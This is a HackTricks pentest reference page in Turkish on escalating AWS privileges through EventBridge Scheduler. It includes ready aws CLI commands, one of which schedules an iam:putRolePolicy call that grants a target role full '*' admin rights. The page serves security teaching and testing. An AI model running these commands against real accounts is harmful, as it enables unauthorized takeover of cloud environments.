AWS - EventBridge Scheduler Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

EventBridge Scheduler

EventBridge Scheduler hakkında daha fazla bilgi için:

AWS - EventBridge Scheduler Enum

iam:PassRole, (scheduler:CreateSchedule | scheduler:UpdateSchedule)

Bu izinlere sahip bir saldırgan, create|update yaparak bir scheduler oluşturabilir/güncelleyebilir ve ona bağlı scheduler rolünün izinlerini suistimal ederek herhangi bir işlem gerçekleştirebilir.

Örneğin, takvimi invoke a Lambda function olacak şekilde yapılandırabilirler; bu şablonlanmış bir eylemdir:

aws scheduler create-schedule \
--name MyLambdaSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:lambda:<region>:<account-id>:function:<LambdaFunctionName>",
"RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
}'

Şablonlanmış servis eylemlerine ek olarak, EventBridge Scheduler içinde universal targets kullanarak birçok AWS hizmeti için geniş bir API işlemleri yelpazesini çağırabilirsiniz. Universal targets neredeyse herhangi bir API’yi çağırma esnekliği sağlar. Bir örnek, universal targets kullanarak AdminAccessPolicy eklemek olabilir; putRolePolicy politikasına sahip bir rol kullanarak:

aws scheduler create-schedule \
--name GrantAdminToTargetRoleSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy",
"RoleArn": "arn:aws:iam::<account-id>:role/RoleWithPutPolicy",
"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}"
}'

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin